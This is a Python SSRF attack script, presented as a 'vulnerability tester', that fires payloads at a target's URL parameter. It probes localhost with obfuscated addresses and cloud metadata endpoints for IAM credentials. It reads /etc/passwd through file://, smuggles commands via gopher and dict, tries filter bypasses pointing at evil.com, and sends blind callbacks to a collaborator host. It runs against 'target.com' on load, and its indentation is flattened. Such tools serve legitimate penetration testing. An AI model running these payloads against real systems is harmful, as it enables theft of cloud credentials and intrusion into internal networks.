"""
Server-Side Request Forgery (SSRF) Vulnerability Tester
"""
import requests
import socket
import re
from urllib.parse import quote
class SSRFTester:
def __init__(self, url, param='url'):
self.url = url
self.param = param
self.findings = []
self.session = requests.Session()
PAYLOADS = {
'localhost': [
'http://127.0.0.1/',
'http://localhost/',
'http://127.0.0.1:80/',
'http://127.0.0.1:443/',
'http://127.0.0.1:8080/',
'http://127.0.0.1:22/',
'http://[::1]/',
'http://0.0.0.0/',
'http://0177.0.0.1/',
'http://2130706433/',
'http://0x7f.0x0.0x0.0x1/',
'http://127.1/',
'http://127.0.1/',
],
'cloud_metadata': [
'http://169.254.169.254/latest/meta-data/',
'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
'http://169.254.169.254/latest/user-data/',
'http://metadata.google.internal/computeMetadata/v1/',
'http://169.254.169.254/computeMetadata/v1/',
'http://169.254.169.254/metadata/instance?api-version=2021-02-01',
'http://169.254.169.254/metadata/v1/',
'http://100.100.100.200/latest/meta-data/',
],
'internal_network': [
'http://192.168.0.1/',
'http://192.168.1.1/',
'http://10.0.0.1/',
'http://172.16.0.1/',
'http://intranet/',
'http://internal/',
],
'protocols': [
'file:///etc/passwd',
'file:///c:/windows/win.ini',
'gopher://127.0.0.1:25/_HELO%20localhost',
'dict://127.0.0.1:11211/stats',
'ftp://127.0.0.1/',
],
'bypass': [
'http://127.0.0.1%2f',
'http://127.0.0.1%09',
'http://127.0.0.1.nip.io/',
'http://localtest.me/',
'http://spoofed.burpcollaborator.net@127.0.0.1/',
'http://foo@127.0.0.1/',
'http://127.0.0.1#@evil.com/',
'http://127.0.0.1?@evil.com/',
'http://[0:0:0:0:0:ffff:127.0.0.1]/',
'http://[::ffff:127.0.0.1]/',
],
}
def test_localhost_access(self):
"""Test access to localhost"""
print("\n[*] Testing localhost access...")
for payload in self.PAYLOADS['localhost']:
try:
response = self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
if response.status_code == 200:
if any(indicator in response.text.lower() for indicator in
['apache', 'nginx', 'server', 'welcome', 'index']):
print(f"[VULN] Localhost access: {payload}")
self.findings.append({
'type': 'SSRF - Localhost Access',
'payload': payload,
'severity': 'High'
})
return True
except Exception as e:
pass
return False
def test_cloud_metadata(self):
"""Test cloud metadata access"""
print("\n[*] Testing cloud metadata access...")
for payload in self.PAYLOADS['cloud_metadata']:
try:
response = self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
metadata_indicators = [
'ami-id', 'instance-id', 'security-credentials',
'computeMetadata', 'instance', 'project',
'iam', 'role', 'credentials',
]
if response.status_code == 200:
for indicator in metadata_indicators:
if indicator in response.text:
print(f"[VULN] Cloud metadata access!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSRF - Cloud Metadata',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def test_internal_network(self):
"""Test internal network scanning"""
print("\n[*] Testing internal network access...")
for payload in self.PAYLOADS['internal_network']:
try:
response = self.session.get(
self.url,
params={self.param: payload},
timeout=5
)
if response.status_code == 200 and len(response.text) > 0:
print(f"[INFO] Internal endpoint responds: {payload}")
self.findings.append({
'type': 'SSRF - Internal Network',
'payload': payload,
'severity': 'High'
})
except Exception as e:
pass
def test_protocols(self):
"""Test different protocol handlers"""
print("\n[*] Testing protocol handlers...")
for payload in self.PAYLOADS['protocols']:
try:
response = self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
if 'root:' in response.text or '[extensions]' in response.text:
print(f"[VULN] Protocol handler: {payload.split(':')[0]}://")
self.findings.append({
'type': f'SSRF - {payload.split(":")[0].upper()} Protocol',
'payload': payload,
'severity': 'Critical'
})
except Exception as e:
pass
def test_bypass_techniques(self):
"""Test SSRF filter bypass techniques"""
print("\n[*] Testing bypass techniques...")
for payload in self.PAYLOADS['bypass']:
try:
response = self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
if response.status_code == 200 and len(response.text) > 100:
print(f"[INFO] Bypass payload accepted: {payload[:40]}")
except Exception as e:
pass
def test_blind_ssrf(self, callback_server='YOUR-COLLABORATOR'):
"""Test blind SSRF via callback"""
print("\n[*] Testing blind SSRF...")
blind_payloads = [
f'http://{callback_server}/',
f'http://{callback_server}/ssrf?test=1',
f'http://{callback_server}:80/',
f'http://{callback_server}:8080/',
]
for payload in blind_payloads:
try:
self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
print(f" Sent: {payload}")
except Exception as e:
pass
print(f" [INFO] Check {callback_server} for callbacks")
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("SSRF VULNERABILITY REPORT")
print("="*60)
if not self.findings:
print("\nNo SSRF vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
print(f" Payload: {f['payload'][:60]}")
def run_tests(self):
"""Run all SSRF tests"""
self.test_localhost_access()
self.test_cloud_metadata()
self.test_internal_network()
self.test_protocols()
self.test_bypass_techniques()
self.generate_report()
tester = SSRFTester("https://target.com/fetch", param='url')
tester.run_tests()